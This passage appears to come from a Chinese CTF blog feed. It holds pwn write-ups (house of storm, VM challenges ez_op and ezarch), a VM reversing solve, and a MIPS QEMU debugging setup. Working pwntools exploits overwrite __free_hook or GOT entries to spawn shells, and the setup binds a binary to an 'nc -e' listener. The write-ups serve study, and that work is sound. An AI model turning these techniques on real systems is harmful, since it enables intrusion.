#vtableLeave(b'1',str(stdout),'2',c,'4')c=b'1'*24c+=p64(libc.address+0x3c67f8-0x10)#change global_max_fastPonderosa(2,4,3,5)#change stdout->vtableLeave(b'3')io.interactive()</code></pre><p>这题也就做到这程度了,可能是因为我没有题目对应的libc,以后再回来看。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200227200646.png"></p><h3 id="获取menu脚本"><a href="#获取menu脚本" class="headerlink" title="获取menu脚本"></a>获取menu脚本</h3><p>因为懒得每次都手打目录,就写了个脚本。</p><pre><code class="python">pattern = re.compile(b'\d\..+')mainmenu = pattern.findall(r())ask="Command:"response='20'pattern_fun=re.compile(b'\w+')if mainmenu: for item in mainmenu[:-1]: function="def {0}(a):\n\tru('{1}')\n\tsl('{2}')\n".format(bytes.decode(pattern_fun.findall(item[2:])[0]),ask,bytes.decode(item[0:1])) sl(item[0:1]) while(True): receive = r() if(pattern.findall(receive)!=mainmenu): #submenu = pattern.findall(receive) #if submenu: # print(submenu) sl(response) function+="\tru('{0}')\n".format(bytes.decode(receive)) function+="\tsl(str(a))" else: break print(function) else: print("error")</code></pre><p>效果就是这样,但感觉实在没法通用。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200228103625.png"></p><h3 id="houseofstorm"><a href="#houseofstorm" class="headerlink" title="houseofstorm"></a>houseofstorm</h3><h4 id="预备知识"><a href="#预备知识" class="headerlink" title="预备知识"></a>预备知识</h4><p><code>__libc_mallopt</code></p><pre><code>int __libc_mallopt(int param_number, int value)//param_number取值#define M_MXFAST 1</code></pre><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200228130031.png"></p><p>mallopt(1,0)就相当于大小小于0的块被放到fastbin里,也就是说fastbin完全禁用。</p><h4 id="题目分析-1"><a href="#题目分析-1" class="headerlink" title="题目分析"></a>题目分析</h4><p>在0x13370000处分配了一块0x1000大小的内存,然后在0x13370800读入三个随机数,之后分配得到的addr要和第一个随机数异或后存储,读取时和第一个随机数异或后读取;size和第二个随机数同理。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200303022513.png"></p><p>update里有offbynull。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200228120211.png"></p><p>view需要在特定地址写入特定值才可用。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200303022242.png"></p><p>allocate大小在(0xc,0x1000]之间,用的是calloc;delete是无漏洞的delete。</p><h4 id="利用分析"><a href="#利用分析" class="headerlink" title="利用分析"></a>利用分析</h4><pre><code class="python">from pwn import *debug=1#context.log_level = 'debug'if debug: io = process('./heapstorm.dms')else: io = remote("",1234)elf = ELF('./heapstorm.dms')libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")s = lambda data :io.send(data) sa = lambda data1,data :io.sendafter(data1, data)sl = lambda data :io.sendline(data)sla = lambda data1,data :io.sendlineafter(data1, data)r = lambda numb=4096 :io.recv(numb)ru = lambda data1, drop=True :io.recvuntil(data1, drop)def Allocate(a): ru('Command:') sl('1') ru('Size: ') sl(str(a))def Update(a,b,c): ru('Command:') sl('2') ru('Index: ') sl(str(a)) ru('Size: ') sl(str(b)) ru('Content: ') s(c)def Delete(a): ru('Command:') sl('3') ru('Index: ') sl(str(a))def View(a): ru('Command:') sl('4') ru('Index: ') sl(str(a))Allocate(0x90-8) #uns0Allocate(0x520-8)#1Allocate(0x90-8)#2Allocate(0x20-8)#3Allocate(0x90-8)#4Allocate(0x520-8)#5Allocate(0x90-8)#6Allocate(0x20-8)#7Allocate(0x410-8)#8Allocate(0x20-8)#9Allocate(0x410-8)#10#fisrt overlapUpdate(1,0x500,b"1"*(0x4f0)+p64(0x500)+p64(0xa1))Delete(1)Update(0,0x90-8-12,b"1"*(0x90-8-12))Allocate(0x40-8)#1Delete(1)Delete(2)Allocate(0x4c0-8)#1 in controlAllocate(0x5b0-8)#2c=b"1"*(0x40-8)+p64(0x4c1)+b'1'*(0x4c0-8)+p64(23*16-0xc0+1)Update(2,len(c),c)#second overlapUpdate(5,0x500,b"1"*(0x4f0)+p64(0x500)+p64(0xa1))Delete(5)Update(4,0x90-8-12,b"1"*(0x90-8-12))Allocate(0x40-8)#5Delete(5)Delete(6)Allocate(0x4c0-8)#5 in controlAllocate(0x5b0-8)#6c=b"1"*(0x40-8)+p64(0x4c1)+b'1'*(0x4c0-8)+p64(23*16-0xc0+1)Update(6,len(c),c)#largebin attack -->fake chunk(0x133707f0)Delete(1)Allocate(0x600-8)#1 cosolidatec=b"1"*(0x40-8)+p64(0x4c1)c+=p64(0)c+=p64(0x13370800-0x10+3-16)#sizec+=p64(0)c+=p64(0x13370808-0x20)#bkc+=b'1'*(0x4c0-8-16-16-8)+p64(0x4c0)+p64(23*16-0xc0)Update(2,len(c),c)#a bigger freed chunk in unsorted bin#bk->fake chunk(0x133707f0)Delete(5)c=b"1"*(0x40-8)+p64(0x4d1)c+=p64(0x0)c+=p64(0x13370800-0x10)#bkc+=b'1'*(0x4d0-8)+p64(0x4d0)+p64(23*16-0xc0-16)Update(6,len(c),c)#1.largebin attack ->fake chunk(0x133707f0) size=0x56#2.alloc(0x133707f0)Allocate(0x50-8)#5c=p64(0)*3c+=p64(0x13377331)c+=p64(0x13370870)#0c+=p64(0x100)Update(5,len(c),c)#leak libcView(0)ru(b"Chunk[0]: ")rc=r(16)heapbase=u64(rc[8:16])-0x778log.success(hex(heapbase))#leak heapc=p64(0x13370800)#5c+=p64(0x100)c+=p64(heapbase+0x740)#6c+=p64(0x500)Update(0,len(c),c)View(6)ru(b"Chunk[6]: ")rc=r(16)libc.address=u64(rc[0:8])-3953032+1552log.success(hex(libc.address))#free_hook to shellonegadgets=[0x45216,0x4526a,0xf02a4,0xf1147]c=p64(0)*3c+=p64(0x13377331)c+=p64(libc.symbols['__free_hook'])#0c+=p64(0x100)c+=p64(heapbase+0x740)#6c+=p64(0x500)Update(5,len(c),c)c=p64(libc.address+onegadgets[1])Update(0,len(c),c)Delete(1)io.interactive()</code></pre><p>在0x133707f0处写入的size是堆的高两位,它会是0x55/0x56,但是必须得是0x56,因为calloc会报错,报错代码在图中第一行:</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200302231248.png"></p><p>汇编如下:</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200303023929.png"></p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200303024022.png"></p><p>源码如下:</p><pre><code>mem = _int_malloc (av, sz);assert (!mem || chunk_is_mmapped (mem2chunk (mem)) || av == arena_for_chunk (mem2chunk (mem)));</code></pre><p>以上3个条件必须有一个满足才行。</p><pre><code>#define arena_for_chunk(ptr) \ (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)</code></pre><p>因为0x55和0x56的都有NON_MAIN_ARENA(0x4)位,而返回的chunk又不在arena的堆空间里,所以第3个条件是不能满足的。那么只有满足第2个了,chunk的mmap标志位置位,也就是只有<code>heap address start with 0x56</code>的情况下才行。否则assert失败,程序退出。</p><p>参考链接<a href="https://github.com/willinin/0ctf2018/blob/master/heapstorm2/heapstorm2.md">https://github.com/willinin/0ctf2018/blob/master/heapstorm2/heapstorm2.md</a></p><p>getshell</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200303020831.png"></p><h5 id="迷惑"><a href="#迷惑" class="headerlink" title="迷惑"></a>迷惑</h5><p>我很迷惑为什么2.23会报这个错呢?明明没这行代码的。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200301233055.png"></p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200301233250.png"></p><h5 id="收获"><a href="#收获" class="headerlink" title="收获"></a>收获</h5><p>在unsortedbin里找块的时候找大小相等的,相等就return,剩下的还待在unsortedbin里。</p><h3 id="后记"><a href="#后记" class="headerlink" title="后记"></a>后记</h3><p>今天想自己搭一个那啥。</p><p><a href="https://233v2.com/post/16/">https://233v2.com/post/16/</a></p><p>vultr的ip很容易被ban不知道为什么,然后换了谷歌云,上来就给了两千多。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200229112905.png"></p><p>一开始还以为是刀乐,结果其实是港币。港币那也是白给:P</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/94DC0CFABEA2B3402006DE074A8F21D8.jpg"></p><p>好像最多开12个CPU,开心了。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200229112746.png"></p>]]></content>
<tags>
<tag> PWN </tag>
</tags>
</entry>
<entry>
<title>vm Pwn题目小结</title>
<link href="vmPwn/"/>
<url>vmPwn/</url>
<content type="html"><![CDATA[<h3 id="ez-op"><a href="#ez-op" class="headerlink" title="ez_op"></a>ez_op</h3><h4 id="题目分析"><a href="#题目分析" class="headerlink" title="题目分析"></a>题目分析</h4><p>首先根据入口点找到main函数,一般入口点就是IDA里Export窗口的start函数。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200203015656.png"></p><p>可以看到上面main函数的逻辑是:</p><ol><li>使用mallocinfo函数为操作数分配空间,为操作码分配空间。</li></ol><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200203112340.png"></p><ol start="2"><li>读入操作码至buf中,并将其转换成整数形式保存在opcode中;操作数同理保存在oprand中</li><li>进入大循环loop函数,就是本题的虚拟机,后面详细讲解。</li><li>使用freeinfo函数释放分配的空间</li></ol><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200203113657.png"></p><p>loop函数就是虚拟机,主要逻辑是一个大循环,每次循环完成一个操作码对应的功能。那么怎么知道每个操作码对应什么功能呢,我觉得对我来说只能慢慢逆向+猜吧。这个题目的功能有save、load、push、pop、加减乘除,最后逆出来的效果就是下面这样:</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200203021255.png"></p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200203021416.png"></p><p>漏洞点在于load和save都没有检查是否越界,所以可以任意地址读写。</p><p>首先看load。</p><ul><li><p>分开来看。我给虚拟机的栈起名叫做vstack,真实的栈叫stack。heappop2stack函数的功能是:从第一个参数中pop出一个值并将其赋值给第二个参数,这个第二个参数是一个栈变量。stack2heap函数的功能是:将第二个参数的值push进第一个参数。</p></li><li><p>整体的逻辑就是从vstack中pop一个偏移,然后push vstack[偏移]到vstack栈顶。</p></li></ul><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200203021624.png"></p><p>save函数同理,整体的逻辑是从vstack中pop一个偏移,再从vstack中pop一个值,最后将这个值赋给vstack[偏移]。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200203022522.png"></p><h4 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h4><p>利用方法就是通过任意地址读写改freehook为system,然后构造system(“/bin/sh”)。需要注意的是vstack的调用顺序。</p><p>具体构造如下:</p><ol><li>因为heap地址会随机化,所以不能直接通过偏移获取freehook的地址,但是可以通过相对地址获取。可以看到vstack->addr[69]处就是vstack->addr,所以可以<code>load</code>这个地址;然后和freehook进行相减<code>sub</code>,此处需要注意的是减数靠近栈底,被减数靠近栈顶,因为freehook比heap地址低,所以可以将freehook设为被减数,相减后得到一个负数;再将这个负数除<code>div</code>4就可以获得偏移,同样需要注意除数和被除数的关系,需要提前将4放进栈中。</li></ol><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200203114548.png"></p><ol start="2"><li>使用<code>save</code>将system的地址存放到freehook中去,在vstack->addr中构造’/bin/sh’。退出循环后freeinfo函数中调用了free(vstack->addr),可以触发system(‘/bin/sh’)。</li></ol><pre><code class="python">from pwn import *debug=1context.log_level = 'debug'if debug: io = process('./ez_op.dms')else: io = remote("112.126.101.96",9999)elf = ELF('./ez_op.dms')s = lambda data :io.send(str(data)) sa = lambda delim,data :io.sendafter(str(delim), str(data))sl = lambda data :io.sendline(str(data))sla = lambda delim,data :io.sendlineafter(str(delim), str(data))r = lambda numb=4096 :io.recv(numb)ru = lambda delims, drop=True :io.recvuntil(delims, drop)load = -1save = 0x10101010push = 0x2A3Dpop = 0xFFFF28add = 0x0sub = 0x11111mul = 0xABCEFdiv = 0x514freeh=0x080E09F0 system=0x08051C60bin_sh=0x080B088Fdef app(op): global c c+=" " c+=str(op)#gdb.attach(io,"b *0x0804A127")#opcodec=''app(push)app(push)app(push)app(load)app(push)app(sub)app(div)app(push)app(add)app(save)app(push)app(push)io.sendline(c)#oprandc=''app(system)app(4) app(67) app(freeh) app(1)app(0x6e69622f)app(0x0068732f)io.sendline(c)io.interactive()</code></pre><p>exp中为什么load堆地址时用67而非69呢,是因为在load前已经push了两个值,所以偏移为69-2=67。</p><h3 id="ezarch"><a href="#ezarch" class="headerlink" title="ezarch"></a>ezarch</h3><h4 id="题目分析-1"><a href="#题目分析-1" class="headerlink" title="题目分析"></a>题目分析</h4><h5 id="汇编指令结构"><a href="#汇编指令结构" class="headerlink" title="汇编指令结构"></a>汇编指令结构</h5><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200205192324.png"></p><p>其中,</p><p><strong>type</strong></p><p>0 r0-14 </p><p>00 r0-14 16 esp 17 ebp</p><p>1 立即数</p><p>2 [CS+r0-14] </p><p>22 [CS+r0-14 16 esp 17 ebp ] </p><p><strong>opcode</strong></p><table><thead><tr><th></th><th>简称</th><th></th><th>oprand1寻址方式</th><th>oprand2寻址方式</th></tr></thead><tbody><tr><td>2</td><td>sub</td><td>oprand1 -= oprand2</td><td>02</td><td>012</td></tr><tr><td>3</td><td>mov</td><td>oprand1<–mov–oprand2</td><td>0022</td><td>00122</td></tr></tbody></table><p>一共0x11个指令,但是用这2个居然就能做出题来。</p><h5 id="内存结构"><a href="#内存结构" class="headerlink" title="内存结构"></a>内存结构</h5><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200206212041.png"></p><p>mem在<code>0x2030c0</code>,<code>0x202078</code>处有一个指向mem的指针。其中memory是malloc来的,stack在<code>bss</code>段<code>0x2020c0</code>。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200206181936.png"></p><h4 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h4><p>进入大循环的时候会检验三个条件:<code>esp<4096</code>,<code>ebp>memorysize</code>,<code>eip>memorysize</code>,但是这个<code>memorysize</code>是可以设置的,所以可以用<code>ebp</code>越界存取数据。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200206212505.png"></p><h4 id="漏洞利用-1"><a href="#漏洞利用-1" class="headerlink" title="漏洞利用"></a>漏洞利用</h4><p>先把<code>mem->stack</code> <code>mov</code>到<code>memory</code>上,再<code>sub</code> <code>0xc0-0x18</code> 就是<code>free</code>的<code>got</code>表地址<code>0x00202018</code>,再把它<code>mov</code>到<code>mem->stack</code>,这样<code>mem->stack</code>就在<code>got</code>表上了。</p><p>改<code>ebp</code>为8,因为<code>free+8</code>是<code>puts</code>,这时候<code>free</code>还没被用过,<code>puts</code>被用过。把<code>puts</code> <code>mov</code>到<code>memory</code>上,再<code>sub libc['puts']-onegadget</code>,再把它<code>mov</code>回<code>got</code>表里,<code>puts</code>就被改成<code>onegadget</code>了。</p><p>exp有更详细的分步注释:</p><pre><code class="python">#-*- coding:utf-8 -*-from pwn import *debug=1context.log_level = 'debug'if debug: io = process('./ezarch')else: io = remote("112.126.101.96",9999)elf = ELF('./ezarch')#libc=libc('./libc.so')#gadgets=[324293,324386,1090444]libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')gadgets=[283158, 283242, 983716, 987463]s = lambda data :io.send(str(data)) sa = lambda delim,data :io.sendafter(str(delim), str(data))sl = lambda data :io.sendline(str(data))sla = lambda delim,data :io.sendlineafter(str(delim), str(data))r = lambda numb=4096 :io.recv(numb)ru = lambda delims, drop=True :io.recvuntil(delims, drop)def memory(size,init,content,eip,esp,ebp): ru('>') sl('M') ru('[*]Memory size>') sl(size) ru('[*]Inited size>') sl(init) ru('[*]Input Memory Now ') sl(content) ru('eip>') #eip<memory size sl(eip) ru('esp>') #esp<stack size 0x1000 sl(eip) ru('ebp>') #ebp<memory size sl(ebp)op=lambda opcode,type1,type2,oprand1,oprand2 : bytes.decode(flat(p8(opcode),p8(type1+type2*0x10),p32(oprand1),p32(oprand2)),"unicode-escape")#mov mem->stack 2 gotc=''c+=op(3,2,2,1,17) #mov mem->stack+ebp to memory+r1c+=op(2,2,1,1,0xc0-0x18) #sub memory+r1 0xc0-0x18c+=op(3,2,2,17,1) #mov memory+r1 to mem->stack+ebp #change got['puts'] onegadgetc+=op(3,0,1,17,8) #ebp=8c+=op(3,2,2,1,17) #mov mem->stack+ebp to memory+r1c+=op(2,2,1,1,libc.symbols['puts']-gadgets[0]) #sub memory+r1 libc.symbols['puts']-gadgets[0]c+=op(3,2,2,17,1) #mov memory+r1 to mem->stack+ebp memory(0x2000,len(c),c,0,0x900,0x1008)#getshellru('>')sl('R')io.interactive()</code></pre><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200206211637.png"></p><h3 id="badblock"><a href="#badblock" class="headerlink" title="badblock"></a>badblock</h3><p>这个题是一个vm的<strong>逆向</strong>题,运行题目可以输入一个字符串。困住我的是这个题最后想让我达成什么目标呢,逆的时候也想不明白,逆完vm了就自然而然知道了。</p><p>指令串是放在数据段里的,分析完vm后可以知道指令串的功能是将输入经过运算后,和一个放在数据段里的数据进行比较。如果你输入的是flag,那么经过运算后的结果将会和数据段里的相同。</p><p>有几个反调试的机制,为了能调试可以直接nop掉。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200317154255.png"></p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200317154336.png"></p><p>在数据段里有函数表:</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200322235245.png"></p><p>函数类似这样:</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200323005550.png"></p><p>大循环长这样:</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200323005625.png"></p><p>这个not_equal函数是比较两个值,如果不相等的话就将skip位置2,相等置1。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200323000852.png"></p><p>跳转的时候会将op->flag1置为1或2,在大循环里有这样一条逻辑,表示说是相等跳转还是不相等跳转。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200323001215.png"></p><p>逆出来的结构体如下:</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200323010421.png"></p><p>所有指令翻译完就是这样了,是先让[9]=0+1+…+8=36,再二十轮的data1[i]^((i+36)*2)。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200322235132.png"></p><p>除此之外程序还对输入进行了异或运算,动态调试+偷偷看wp就可以看出逻辑是每个字符都要和它往前数第四个字符异或一下。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200322235640.png"></p><p>脚本如下:</p><pre><code class="python">data1=[0x2E, 0x00, 0x26, 0x00, 0x2D, 0x00, 0x29, 0x00, 0x4D, 0x00, 0x67, 0x00, 0x05, 0x00, 0x44, 0x00, 0x1A, 0x00, 0x0E, 0x00, 0x7F, 0x00, 0x7F, 0x00, 0x7D, 0x00, 0x65, 0x00, 0x77, 0x00, 0x24, 0x00, 0x1A, 0x00, 0x5D, 0x00, 0x33, 0x00, 0x51, 0x00]opcodes=[ 0x08, 0x00, 0x00, 0x00, 0x14, 0x00, 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x08, 0x00, 0x02, 0x00, 0x01, 0x00, 0x08, 0x00, 0x07, 0x00, 0x09, 0x00, 0x08, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08, 0x00, 0x09, 0x00, 0x00, 0x00, 0x01, 0x00, 0x09, 0x00, 0x08, 0x00, 0x01, 0x00, 0x08, 0x00, 0x02, 0x00, 0x03, 0x00, 0x07, 0x00, 0x08, 0x00, 0x04, 0x02, 0xFC, 0xFF, 0x00, 0x00, 0x05, 0x00, 0x03, 0x00, 0x09, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x04, 0x01, 0x0A, 0x00, 0x00, 0x00, 0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x01, 0x00, 0x04, 0x00, 0x03, 0x00, 0x01, 0x00, 0x04, 0x00, 0x04, 0x00, 0x0A, 0x00, 0x05, 0x00, 0x01, 0x00, 0x0C, 0x00, 0x05, 0x00, 0x04, 0x00, 0x0B, 0x00, 0x06, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x02, 0x00, 0x03, 0x00, 0x06, 0x00, 0x05, 0x00, 0x04, 0x01, 0xF5, 0xFF, 0x00, 0x00, 0x04, 0x02, 0x01, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, ]op={ "1":"add ", "2":"sub ", "3":"not_equal ", "4":"jmp_offset ", "5":"mov_data_2_data ", "6":"mov_eip_2_data ", "7":"mov_data_2_eip ", "8":"mov_opr2_2_data ", "9":"is0_err ", "10":"mov_input_2_data", "11":"mov_data1_2_data", "12":"xor ", "13":"isnot0 ", "14":"loop ", "255":"exit "}def getop(i): opc = '' opc += op[str(opcodes[i])] oprand1=opcodes[i+2]+opcodes[i+3]*0x100 if(oprand1&0x8000): opc += str(oprand1-0x10000) else: opc += str(oprand1) opc += ' ' opc += str(opcodes[i+4]+opcodes[i+5]*0x100) return opcopcodes_translate=map(getop,range(0,len(opcodes),6))for i in range(0,len(opcodes_translate)): print(i,opcodes_translate[i])cc=[]for i in range(20): c=data1[i*2]^((i+36)*2) cc.append(c)#xorfor i in range(19,3,-1): cc[i]=cc[i-4]^cc[i]print(''.join([chr(item) for item in cc]))#flag{Y0u_ar3_S0co0L} </code></pre><p>参考:<a href="https://xz.aliyun.com/t/3608">https://xz.aliyun.com/t/3608</a></p><h4 id="后记"><a href="#后记" class="headerlink" title="后记"></a>后记</h4><p>这道题第一次做是听奈沙夜影大佬的课讲的例题,大佬讲得真的好,但去年我根本听不懂。刚刚跑去找大佬博客,我的天连续打卡两年,真的是榜样一般的存在。</p><p><a href="https://blog.csdn.net/whklhhhh/article/list/3">https://blog.csdn.net/whklhhhh/article/list/3</a></p><h3 id="END"><a href="#END" class="headerlink" title="END"></a>END</h3><p>python3的新特性是bytes和str分家了,一开始好不习惯,用着用着感觉还蛮香的,比2清晰。</p>]]></content>
<tags>
<tag> PWN </tag>
</tags>
</entry>
<entry>
<title>安洵杯 MIPS wp</title>
<link href="anxun-MIPS-wp/"/>
<url>anxun-MIPS-wp/</url>
<content type="html"><![CDATA[<h3 id="题目"><a href="#题目" class="headerlink" title="题目"></a>题目</h3><p>题目链接 <a href="https://github.com/Q1IQ/ctf/blob/master/mips/pwn2">https://github.com/Q1IQ/ctf/blob/master/mips/pwn2</a></p><p>题目名字就叫做mips,肯定是mips架构的了。</p><pre><code>$ file pwn2 pwn2: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-, not stripped</code></pre><p>直接运行程序会显示下面的信息。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200126204738.png"></p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200126204711.png"></p><p>所以首先是搭建环境,搭建环境的目标是:</p><ol><li>能运行题目程序 </li><li>能用python脚本和题目程序进行交互 </li><li>能够调试题目程序</li></ol><h4 id="mips"><a href="#mips" class="headerlink" title="mips"></a>mips</h4><ul><li><p>mip汇编知识: <a href="https://ray-cp.github.io/archivers/MIPS_Debug_Environment_and_Stack_Overflow#mips-%E6%B1%87%E7%BC%96%E5%9F%BA%E7%A1%80">https://ray-cp.github.io/archivers/MIPS_Debug_Environment_and_Stack_Overflow#mips-%E6%B1%87%E7%BC%96%E5%9F%BA%E7%A1%80</a></p></li><li><p>关于mips的历史: <a href="https://www.cnblogs.com/lcchuguo/p/5118340.html">https://www.cnblogs.com/lcchuguo/p/5118340.html</a></p></li></ul><h4 id="qemu"><a href="#qemu" class="headerlink" title="qemu"></a>qemu</h4><p>QEMU 支持两种操作模式:用户模式仿真和系统模式仿真。<em>用户模式仿真</em> 允许一个 CPU 构建的进程在另一个 CPU 上执行(执行主机 CPU 指令的动态翻译并相应地转换 Linux 系统调用)。<em>系统模式仿真</em> 允许对整个系统进行仿真,包括处理器和配套的外围设备。</p><p><strong>老是记不住哪个是大小端</strong></p><p>MSB:大端 -EB(大端)</p><p>LSB:小端 -EL (小端)</p><p><strong>总体上都是参照着这个博客搭的</strong></p><p><a href="https://e3pem.github.io/2019/08/23/mips-pwn/mips-pwn%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/">mips-pwn环境搭建</a></p><p>上面博客里给的题我没有成功调出来,找到了下面这个链接里有一个相同的题。</p><p><a href="https://github.com/shift-crops/CTFWriteups/blob/68c91eda75d93249d56522e131f963c8135248de/2019/0CTF/Finals/EmbeddedHeap/embedded_heap.tar.gz">https://github.com/shift-crops/CTFWriteups/blob/68c91eda75d93249d56522e131f963c8135248de/2019/0CTF/Finals/EmbeddedHeap/embedded_heap.tar.gz</a></p><h3 id="qemu系统模式"><a href="#qemu系统模式" class="headerlink" title="qemu系统模式"></a>qemu系统模式</h3><h4 id="教程"><a href="#教程" class="headerlink" title="教程"></a>教程</h4><p>为了和模拟出来的整个系统进行通信,需要先配置qemu的网络。配置网络在网上找到两种方法,另外一种修改<code>/etc/network/interfaces</code>的方法不容易成功,还是推荐下面的方法:</p><p>创建网桥:</p><pre><code>sudo brctl addbr virbr0sudo ifconfig virbr0 192.168.122.1/24 up</code></pre><p>创建<code>tap</code>接口,名字为<code>tap0</code>,并添加到网桥:</p><pre><code>sudo tunctl -t tap0sudo ifconfig tap0 192.168.122.11/24 upsudo brctl addif virbr0 tap0</code></pre><p>下载并启动qemu镜像,配置qemu虚拟机中的网络。在<a href="https://people.debian.org/~aurel32/qemu/mips/">这里</a>下载qemu的mips镜像</p><pre><code># 使用qemu启动下载的镜像sudo qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic</code></pre><p>创建出来的格式是<strong>ELF 32-bit MSB executable, MIPS, MIPS-II version 1 (SYSV)</strong></p><p>输入root/root进入虚拟机,设置ip:</p><pre><code>ifconfig eth0 192.168.122.12/24 up</code></pre><hr><p>通过qemu的系统模式模拟出来了整个系统,我们可以在系统里面运行mips架构的程序,那么该如何对其进行调试呢?</p><p>可以在<a href="https://github.com/e3pem/embedded-toolkit">这里下载</a>(原始的项目访问不了了,贴的是fork的)各个架构静态编译的gdbserver,使用gdbserver启动要调试的程序或附加到需要调试的进程上。</p><pre><code># 启动要调试的程序root@debian-mips:~# ./gdbserver 0.0.0.0:12345 embedded_heap Process embedded_heap created; pid = 2379Listening on port 12345# 附加到要调试的进程root@debian-mips:~# ./gdbserver 0.0.0.0:12345 --attach $(pidof embedded_heap)Attached; pid = 2790Listening on port 12345</code></pre><p>接着就可以在qemu外使用gdb-mutiarch来连接该端口进行调试了</p><pre><code>gdb-multiarch embedded_heapset arch mipsset endian bigtarget remote 192.168.122.12:12345</code></pre><p>教程里写可以使用socat转发数据输入不可见字符。socat从这里获取:<a href="https://github.com/darkerego/mips-binaries">mips-binaries-master</a>,一个静态编译的mips工具集。然而这个是MSB的,本题用不了。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200127212250.png"></p><h4 id="针对本题"><a href="#针对本题" class="headerlink" title="针对本题"></a>针对本题</h4><p>这道题需要下载el(little endian)镜像,下载链接<a href="https://people.debian.org/~aurel32/qemu/mipsel/">https://people.debian.org/~aurel32/qemu/mipsel/</a></p><pre><code>#启动下载的镜像sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic</code></pre><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200127183949.png"></p><p>用户名和密码都是root。</p><h5 id="运行题目程序"><a href="#运行题目程序" class="headerlink" title="运行题目程序"></a>运行题目程序</h5><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200127183906.png"></p><h5 id="和python交互"><a href="#和python交互" class="headerlink" title="和python交互"></a>和python交互</h5><pre><code>while true ;do nc -lvvp 8080 -t -e ~/pwn2; done;</code></pre><h5 id="调试"><a href="#调试" class="headerlink" title="调试"></a>调试</h5><p>找到对应的gdbserver。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200127193732.png"></p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200127210219321.png"></p><p>使用gdb连接调试。</p><pre><code>gdb-multiarch pwn2set arch mipsset endian littletarget remote ip:12345</code></pre><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200127210930.png" style="zoom: 25%;" /><img 